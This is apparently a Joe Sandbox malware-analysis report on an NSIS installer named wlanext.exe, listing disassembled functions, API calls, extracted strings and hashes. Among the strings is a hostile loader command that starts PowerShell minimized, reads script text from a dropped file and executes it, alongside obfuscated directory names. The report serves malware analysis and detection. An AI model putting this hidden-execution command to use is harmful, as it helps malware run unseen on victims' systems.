Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: mutules Setup: Installing
API String ID: 3282139019-2560759542
Opcode ID: f52cdbaf3123b7cbd9944adc9014d9948be0515c381cedadf67d37a6be0de08c
Instruction ID: 2eb83949b6bd8974722fa043abbaf2d62199bae10e2b8edc7fb886fd11b27e7e
Opcode Fuzzy Hash: f52cdbaf3123b7cbd9944adc9014d9948be0515c381cedadf67d37a6be0de08c
Instruction Fuzzy Hash: 3EC1F2B1604201BBDB20AF61EE84E2B3ABCFB84305F51053EF611B11E1C7799842EB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00403877 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406290: GetModuleHandleA.KERNEL32(?,?,?,00403329,00000009), ref: 004062A2
Part of subcall function 00406290: GetProcAddress.KERNEL32(00000000,?), ref: 004062BD

lstrcatA.KERNEL32(1033,mutules Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,mutules Setup: Installing,00000000,00000002,74DF3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\a\wlanext.exe" ,00000000), ref: 004038F2
lstrlenA.KERNEL32(004226C0,?,?,?,004226C0,00000000,C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically,1033,mutules Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,mutules Setup: Installing,00000000,00000002,74DF3410), ref: 00403967
lstrcmpiA.KERNEL32(?,.exe), ref: 0040397A
GetFileAttributesA.KERNEL32(004226C0), ref: 00403985
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically), ref: 004039CE

Part of subcall function 00405E55: wsprintfA.USER32 ref: 00405E62

RegisterClassA.USER32(00422EC0), ref: 00403A0B
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00403A23
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A58
ShowWindow.USER32(00000005,00000000), ref: 00403A8E
GetClassInfoA.USER32(00000000,RichEdit20A,00422EC0), ref: 00403ABA
GetClassInfoA.USER32(00000000,RichEdit,00422EC0), ref: 00403AC7
RegisterClassA.USER32(00422EC0), ref: 00403AD0
DialogBoxParamA.USER32(?,00000000,00403C09,00000000), ref: 00403AEF

Strings

.DEFAULT\Control Panel\International, xrefs: 004038DD
_Nb, xrefs: 004039EA, 00403A52
mutules Setup: Installing, xrefs: 004038A3, 004038A9, 004038CE, 004038D7, 004038EC
C:\Users\user\AppData\Local\Temp\, xrefs: 0040387C
RichEdit20A, xrefs: 00403AB2, 00403AB8
RichEdit, xrefs: 00403AC1
"C:\Users\user\Desktop\a\wlanext.exe" , xrefs: 0040387B
RichEd20, xrefs: 00403A94
Control Panel\Desktop\ResourceLocale, xrefs: 004038AB
C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically, xrefs: 00403901, 00403909, 004039A1, 004039A7, 004039B7
RichEd32, xrefs: 00403AA2
.exe, xrefs: 00403974
1033, xrefs: 00403897, 004038ED

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\a\wlanext.exe" $.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb$mutules Setup: Installing
API String ID: 1975747703-747446972
Opcode ID: d8ff16b30f47422af6cd726a45550ac013ea31511adbd1b638934b40916a2cd8
Instruction ID: 29345e8072be8e75dc90901d6125d60d13300850aec60374d900494af90ecb47
Opcode Fuzzy Hash: d8ff16b30f47422af6cd726a45550ac013ea31511adbd1b638934b40916a2cd8
Instruction Fuzzy Hash: 8161A4B06442407ED620AF65AD45F373A6CEB8474AF40447FF945B22E2C6BCAD029A3D

Uniqueness

Uniqueness Score: -1.00%

Function 00402D4A Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402D5E
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\a\wlanext.exe,00000400), ref: 00402D7A

Part of subcall function 00405B6A: GetFileAttributesA.KERNELBASE(00000003,00402D8D,C:\Users\user\Desktop\a\wlanext.exe,80000000,00000003), ref: 00405B6E
Part of subcall function 00405B6A: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B90

GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,C:\Users\user\Desktop\a,C:\Users\user\Desktop\a,C:\Users\user\Desktop\a\wlanext.exe,C:\Users\user\Desktop\a\wlanext.exe,80000000,00000003), ref: 00402DC3
GlobalAlloc.KERNELBASE(00000040,00409130), ref: 00402F0A

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402FA1
C:\Users\user\Desktop\a, xrefs: 00402DA5, 00402DAA, 00402DB0
soft, xrefs: 00402E3A
Inst, xrefs: 00402E31
C:\Users\user\Desktop\a\wlanext.exe, xrefs: 00402D64, 00402D73, 00402D87, 00402DA4
C:\Users\user\AppData\Local\Temp\, xrefs: 00402D54, 00402F22
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402F53
Error launching installer, xrefs: 00402D9A
Null, xrefs: 00402E43
"C:\Users\user\Desktop\a\wlanext.exe" , xrefs: 00402D4A

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\a\wlanext.exe" $C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\a$C:\Users\user\Desktop\a\wlanext.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 2803837635-1244250847
Opcode ID: ead6bde51c37ea53951fbe13ca2cc745f63f52fca57c9fe79df6b08f7621e9ee
Instruction ID: 1e54d23c6bd4663b885b54a46d63d50a2b02afe17d1d0705d7bda66adc4b1b0c
Opcode Fuzzy Hash: ead6bde51c37ea53951fbe13ca2cc745f63f52fca57c9fe79df6b08f7621e9ee
Instruction Fuzzy Hash: 6661E5B1A40215ABDF20AF64DE89A9E76B8EB04355F11413FF904B72C1C7BC9D418B9C

Uniqueness

Uniqueness Score: -1.00%

Function 00401759 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,%spret%\treadler,C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Memorda26\Fluorometric\Udvlgningers\arbejdsfelterne,00000000,00000000,00000031), ref: 00401798
CompareFileTime.KERNEL32(-00000014,?,%spret%\treadler,%spret%\treadler,00000000,00000000,%spret%\treadler,C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Memorda26\Fluorometric\Udvlgningers\arbejdsfelterne,00000000,00000000,00000031), ref: 004017C2

Part of subcall function 00405EF7: lstrcpynA.KERNEL32(?,?,00000400,0040336D,00422F20,NSIS Error), ref: 00405F04

Part of subcall function 00405110: lstrlenA.KERNEL32(ExecShell: open powershell.Exe,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000,?), ref: 00405149
Part of subcall function 00405110: lstrlenA.KERNEL32(00402D22,ExecShell: open powershell.Exe,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000), ref: 00405159
Part of subcall function 00405110: lstrcatA.KERNEL32(ExecShell: open powershell.Exe,00402D22,00402D22,ExecShell: open powershell.Exe,00000000,00000000,00000000), ref: 0040516C
Part of subcall function 00405110: SetWindowTextA.USER32(ExecShell: open powershell.Exe,ExecShell: open powershell.Exe), ref: 0040517E
Part of subcall function 00405110: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004051A4
Part of subcall function 00405110: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051BE
Part of subcall function 00405110: SendMessageA.USER32(?,00001013,?,00000000), ref: 004051CC

Strings

%spret%\treadler, xrefs: 00401775, 0040177E, 0040178B, 0040179D, 004017AE, 004017E4, 004017FA, 00401818, 00401858, 004018D9, 004018E2, 004018EC, 004018F7
Dragelserneserst Videokassettesj-BronchoscopespecwUdlbsdatoernesubiBrmersscleretininCamotevanillerygdAspargessuppenauoimpresarioshammewMoroccanmedistersCanceratingaccoutSladresvoterendeyMusicalisationphlBudgetkontrollenePluperfectshtche Geneptubercularim Peri, xrefs: 0040180D, 00401819, 00401831
C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Memorda26\Fluorometric\Udvlgningers\arbejdsfelterne, xrefs: 00401786
-windowstyle minimized $fe32 = Get-Content 'C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Recife\Opfindendes\Perlemoret\Servitudes\Margarines.Pos' ; powershell.Exe "$fe32", xrefs: 004017A3, 00401812, 00401830
open powershell.Exe, xrefs: 00401826, 00401842

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: -windowstyle minimized $fe32 = Get-Content 'C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Recife\Opfindendes\Perlemoret\Servitudes\Margarines.Pos' ; powershell.Exe "$fe32"$%spret%\treadler$C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Memorda26\Fluorometric\Udvlgningers\arbejdsfelterne$Dragelserneserst Videokassettesj-BronchoscopespecwUdlbsdatoernesubiBrmersscleretininCamotevanillerygdAspargessuppenauoimpresarioshammewMoroccanmedistersCanceratingaccoutSladresvoterendeyMusicalisationphlBudgetkontrollenePluperfectshtche Geneptubercularim Peri$open powershell.Exe
API String ID: 1941528284-3564694248
Opcode ID: d1b75f541772f77f1f548cd5bbf76600b98f20649c1ff06be83536074967a7fe
Instruction ID: 1ba5c428860e61568eef0a4ccac71dac967fbf7ecb8295bcfefdc03a30224d69
Opcode Fuzzy Hash: d1b75f541772f77f1f548cd5bbf76600b98f20649c1ff06be83536074967a7fe
Instruction Fuzzy Hash: 2341F471A04515BACF107BB5DC45EAF3678EF41328B20823BF021B11E2DA3C8A419FAD

Uniqueness

Uniqueness Score: -1.00%

Function 00405110 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(ExecShell: open powershell.Exe,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000,?), ref: 00405149
lstrlenA.KERNEL32(00402D22,ExecShell: open powershell.Exe,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000), ref: 00405159
lstrcatA.KERNEL32(ExecShell: open powershell.Exe,00402D22,00402D22,ExecShell: open powershell.Exe,00000000,00000000,00000000), ref: 0040516C
SetWindowTextA.USER32(ExecShell: open powershell.Exe,ExecShell: open powershell.Exe), ref: 0040517E
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004051A4
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051BE
SendMessageA.USER32(?,00001013,?,00000000), ref: 004051CC

Strings

ExecShell: open powershell.Exe, xrefs: 00405130, 00405142, 00405148, 0040516B, 00405177

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: ExecShell: open powershell.Exe
API String ID: 2531174081-3943783055
Opcode ID: 5079ce61eb60a58f18aa72498b661a7186dcc34ecfe9b72952c752fd8c1df286
Instruction ID: 38fa31381a166635c2069e030e34d3db0945d62c2eda65f80c6bd2e149c96a35
Opcode Fuzzy Hash: 5079ce61eb60a58f18aa72498b661a7186dcc34ecfe9b72952c752fd8c1df286
Instruction Fuzzy Hash: FD215C71E00518BBDF119FA5CD80ADFBFB9EB04354F14807AF904AA291C7799A41CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00406222 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406239
wsprintfA.USER32 ref: 00406272
LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00406286

Strings

UXTHEME, xrefs: 0040622B
%s%s.dll, xrefs: 0040626C
\, xrefs: 0040624A

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: c7ba92785c192ffb77ecdfb90d0fa47c7b7783556fece6129122b9a6395f8fae
Instruction ID: 4eb1d724573375327ef03b870ab6fb06d37159ba94d5fa14c1e1425601a81350
Opcode Fuzzy Hash: c7ba92785c192ffb77ecdfb90d0fa47c7b7783556fece6129122b9a6395f8fae
Instruction Fuzzy Hash: A2F0FC3090011AA7DB24B768DC0DFEB365CAB08305F1401BAA546E11D1D578F9258B69

Uniqueness

Uniqueness Score: -1.00%

Function 00405B99 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405BAD
GetTempFileNameA.KERNELBASE(?,?,00000000,?), ref: 00405BC7

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B9C
nsa, xrefs: 00405BA4
"C:\Users\user\Desktop\a\wlanext.exe" , xrefs: 00405B99

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\a\wlanext.exe" $C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1603200456
Opcode ID: fefc0482c854070ed442c91c2c9b831f833a608d20a08577fe9f9df7fb59a314
Instruction ID: bfd989d901498d13fd43eebbd57bf0dae5b4b0e38faf5f28c0e1a6b78de2ea97
Opcode Fuzzy Hash: fefc0482c854070ed442c91c2c9b831f833a608d20a08577fe9f9df7fb59a314
Instruction Fuzzy Hash: B7F082367086046BEB108F55EC04B9B7BACDF91750F10C03BFA08DA1D0E6B5F9548B59

Uniqueness

Uniqueness Score: -1.00%

Function 004015BB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405A02: CharNextA.USER32(?,?,00421138,?,00405A6E,00421138,00421138,74DF3410,?,74DF2EE0,004057B9,?,74DF3410,74DF2EE0,00000000), ref: 00405A10
Part of subcall function 00405A02: CharNextA.USER32(00000000), ref: 00405A15
Part of subcall function 00405A02: CharNextA.USER32(00000000), ref: 00405A29

GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 0040160D

Part of subcall function 004055D6: CreateDirectoryA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405619

SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Memorda26\Fluorometric\Udvlgningers\arbejdsfelterne,00000000,00000000,000000F0), ref: 0040163C

Strings

C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Memorda26\Fluorometric\Udvlgningers\arbejdsfelterne, xrefs: 00401631

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Memorda26\Fluorometric\Udvlgningers\arbejdsfelterne
API String ID: 1892508949-761541495
Opcode ID: 5b21a70695172c41ef963c68d293b491dbb061c41c86e951e49fc86d912bb96c
Instruction ID: 08eb89b31b1746408a8977735749f07bd83b4a0adfeb71850534f1b020668021
Opcode Fuzzy Hash: 5b21a70695172c41ef963c68d293b491dbb061c41c86e951e49fc86d912bb96c
Instruction Fuzzy Hash: AF110831608151EBDF317FA54D415BF26B0DA92324B28097FE4D1B22D2D53E4943AA7E

Uniqueness

Uniqueness Score: -1.00%

Function 00406977 Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 813088101d1177fb169553b46c52c2ff17d2ea35d6802c76714b97bf352b3534
Instruction ID: 2e33bf0a2efd24b19013112e0e3dc0c5d96cbb3b8ddfa3d6198f03b0ea5f4905
Opcode Fuzzy Hash: 813088101d1177fb169553b46c52c2ff17d2ea35d6802c76714b97bf352b3534
Instruction Fuzzy Hash: 38A14271E00229CBDF28CFA8C8447ADBBB1FF44305F15806AD856BB281D7789A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406B78 Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76287d30da9bd6127f444d76b1a2dea5d718215deeea3e4961f0482c034aff3f
Instruction ID: b6fdc69984dd60fe5839cdbb69547f11a37967466e553f406be5e4f069ddcdf3
Opcode Fuzzy Hash: 76287d30da9bd6127f444d76b1a2dea5d718215deeea3e4961f0482c034aff3f
Instruction Fuzzy Hash: 06912371E00228CBDF28CF98C8547ADBBB1FF44305F15816AD856BB291C778AA96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 0040688E Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
